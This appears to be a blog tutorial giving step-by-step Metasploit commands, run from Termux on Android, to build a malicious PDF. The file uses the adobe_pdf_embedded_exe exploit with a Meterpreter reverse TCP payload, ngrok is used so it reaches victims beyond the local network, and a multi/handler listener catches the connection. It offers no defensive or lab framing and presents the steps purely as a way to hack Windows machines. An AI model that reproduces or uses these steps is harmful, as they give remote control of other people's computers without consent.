Hello guy's in this article we are going to discuss about how to hack windows with pdf file using metasploit. Just you follow this below step one by one
Requirements for android
- Android version 5.0 and above
- Termux application
- Metasploit
How to create malicious Pdf file
Step 1:
First you open your terminal and type this below command this command will help you top metasploit on your terminal.
msfconsole
Step 2:
Now we choose exploit so type this below command this command will help you to create pdf exploit in your system
use exploit/windows/fileformat/adobe_pdf_embedded_exe
Step 3:
Once you choose exploit now type this below command this command will help you to set payload connection.
set payload windows/meterpreter/reverse_tcp
Step 4:
Now we set LPORT and LHOST so run ngrok get lport and lhost if you use local host ip and port that will only work on same wifi connection so i preferred ngrok this will work on out of network.
Step 5:
Now we choose LHOST and LPORT in ngrok so type this following command in your metasploit terminal.
set LHOST ( your host id)set LPORT (your port number)
Step 6:
Now we need to set pdf file name so type this below command on your metasploit terminal.
set FILENAME test.pdf
Step 7:
Now type this below command this command will help you to make pdf payload in above configuration.
exploit
How to create listener in our metasploit
Just you type this below command in your metasploit one by one
use multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST (your ip address)set LPORT (your port number)exploit









Comments
Post a Comment